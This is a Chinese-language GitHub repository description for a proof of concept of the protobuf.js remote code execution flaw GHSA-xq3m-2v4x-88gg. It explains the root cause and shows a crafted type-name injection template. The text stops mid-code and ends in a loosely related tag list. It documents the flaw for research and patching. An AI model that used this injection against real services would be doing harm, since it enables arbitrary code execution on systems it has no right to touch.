dinosn/CVE-protobufjs-GHSA-xq3m-2v4x-88gg
GitHub: dinosn/CVE-protobufjs-GHSA-xq3m-2v4x-88gg
一个用于复现与验证 protobuf.js 远程代码执行漏洞的 PoC 工具。
Stars: 0 | Forks: 0
# GHSA-xq3m-2v4x-88gg: protobuf.js 远程代码执行
[protobuf.js](https://github.com/protobufjs/protobuf.js)(`protobufjs` npm 包)中的关键代码注入漏洞,通过精心构造的 Protobuf 模式类型名称可实现**完全远程代码执行**。
| 字段 | 值 |
|------|------|
| **安全公告** | [GHSA-xq3m-2v4x-88gg](https://github.com/advisories/GHSA-xq3m-2v4x-88gg) |
| **CVSS** | **9.4(严重)** |
| **CWE** | CWE-94(不当代码生成控制) |
| **受影响版本** | `protobufjs` <= 7.5.4,<= 8.0.0 |
| **已修复版本** | `protobufjs` 7.5.5,8.0.1 |
| **修复提交** | [`535df44`](https://github.com/protobufjs/protobuf.js/commit/535df444ac060243722ac5d672db205e5c531d75) |
| **报告时间** | 2026-03-02 |
| **补丁时间** | 2026-03-11 |
## 根本原因
`protobuf.js` 库使用代码生成模块(`@protobufjs/codegen`),通过**字符串拼接**构建 JavaScript 函数并使用 [`Function()` 构造函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function) 执行。Protobuf 模式中的类型名称被直接插入到生成的函数标识符中,**未经过任何净化处理**。
`src/type.js` 中的漏洞代码路径:
```
// Type.generateConstructor builds a constructor function:
var gen = util.codegen(["p"], mtype.name); // mtype.name is UNSANITIZED
// ... adds body lines ...
return gen; // gen() later calls Function(source)()
```
代码生成的 `toString()` 构建出:
```
function NAME(p){
body
}
```
其前缀为 `return`,并通过 `Function("return function NAME(p){ body }")()` 执行,返回一个构造函数。攻击者可控的类型名称会突破函数标识符,从而将任意代码注入构造函数体。
## 利用
### 注入技术
精心构造的类型名称结构为:
```
X(p){PAYLOAD};if(true){//
```
经过代码生成后生成:
```
return function X(p){PAYLOAD};if(true){//(p){
if(p)for(var ks=Object.keys(p),i=0;i
标签:CMS安全, CVE, CVSS 9.4, CWE-94, GHSA, GNU通用公共许可证, JavaScript, MITM代理, Node.js, npm包, PoC, Protobuf, RCE, 代码执行, 函数构造器, 安全修复, 安全漏洞, 客户端安全, 数字签名, 数据可视化, 暴力破解, 服务端安全, 注入攻击, 漏洞分析, 编程工具, 自定义脚本, 请求拦截, 路径探测, 远程代码执行